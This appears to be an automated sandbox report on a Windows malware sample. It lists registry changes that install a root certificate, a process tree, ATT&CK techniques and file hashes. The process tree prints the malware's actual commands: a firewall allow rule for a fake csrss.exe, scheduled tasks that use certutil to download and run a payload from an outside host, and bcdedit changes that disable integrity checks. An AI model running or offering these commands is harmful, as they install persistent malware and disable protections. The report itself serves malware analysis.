Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.execsrss.exe

pid	process
1504	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
1948	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

460

pid	process
460

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1504	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Token: SeImpersonatePrivilege	1504	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Token: SeSystemEnvironmentPrivilege	1948	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 1692 wrote to memory of 1156	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	cmd.exe
PID 1692 wrote to memory of 1156	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	cmd.exe
PID 1692 wrote to memory of 1156	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	cmd.exe
PID 1692 wrote to memory of 1156	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	cmd.exe
PID 1156 wrote to memory of 380	1156	cmd.exe	netsh.exe
PID 1156 wrote to memory of 380	1156	cmd.exe	netsh.exe
PID 1156 wrote to memory of 380	1156	cmd.exe	netsh.exe
PID 1692 wrote to memory of 1948	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 1692 wrote to memory of 1948	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 1692 wrote to memory of 1948	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 1692 wrote to memory of 1948	1692	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 1564 wrote to memory of 380	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 380	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 380	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 824	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 824	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 824	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1216	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1216	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1216	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1820	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1820	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1820	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1648	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1648	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1648	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 268	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 268	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 268	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 948	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 948	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 948	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1672	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1672	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1672	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 972	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 972	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 972	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 392	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 392	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 392	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 828	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 828	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 828	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1840	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1840	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1840	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1100	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1100	1564	patch.exe	bcdedit.exe
PID 1564 wrote to memory of 1100	1564	patch.exe	bcdedit.exe
PID 1948 wrote to memory of 1764	1948	csrss.exe	bcdedit.exe
PID 1948 wrote to memory of 1764	1948	csrss.exe	bcdedit.exe
PID 1948 wrote to memory of 1764	1948	csrss.exe	bcdedit.exe
PID 1948 wrote to memory of 1764	1948	csrss.exe	bcdedit.exe
PID 1948 wrote to memory of 1356	1948	csrss.exe	dsefix.exe
PID 1948 wrote to memory of 1356	1948	csrss.exe	dsefix.exe
PID 1948 wrote to memory of 1356	1948	csrss.exe	dsefix.exe
PID 1948 wrote to memory of 1356	1948	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
"C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
- C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
  "C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:380
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:1212
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:1260
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1564
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:380
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:824
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1216
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1820
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1648
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:268
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:948
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1672
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:972
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:392
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:828
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1840
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1100
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1764
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      Executes dropped EXE
      PID:1356

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220612050622.log C:\Windows\Logs\CBS\CbsPersist_20220612050622.cab
1⤵
- Drops file in Windows directory
PID:900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
d7cdd366a076f32d242bd88450bde311

SHA1
f793c13a8374d1d8dd4cb120b376e39c637b251b

SHA256
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

SHA512
778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
d7cdd366a076f32d242bd88450bde311

SHA1
f793c13a8374d1d8dd4cb120b376e39c637b251b

SHA256
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

SHA512
778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Download Submit
\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
d7cdd366a076f32d242bd88450bde311

SHA1
f793c13a8374d1d8dd4cb120b376e39c637b251b

SHA256
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

SHA512
778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Download Submit
memory/268-92-0x0000000000000000-mapping.dmp

Download
memory/380-62-0x0000000000000000-mapping.dmp

Download
memory/380-87-0x0000000000000000-mapping.dmp

Download
memory/380-63-0x000007FEFC0B1000-0x000007FEFC0B3000-memory.dmp

Filesize
8KB

Download
memory/392-96-0x0000000000000000-mapping.dmp

Download
memory/824-88-0x0000000000000000-mapping.dmp

Download
memory/828-97-0x0000000000000000-mapping.dmp

Download
memory/948-93-0x0000000000000000-mapping.dmp

Download
memory/972-95-0x0000000000000000-mapping.dmp

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memory/1100-99-0x0000000000000000-mapping.dmp

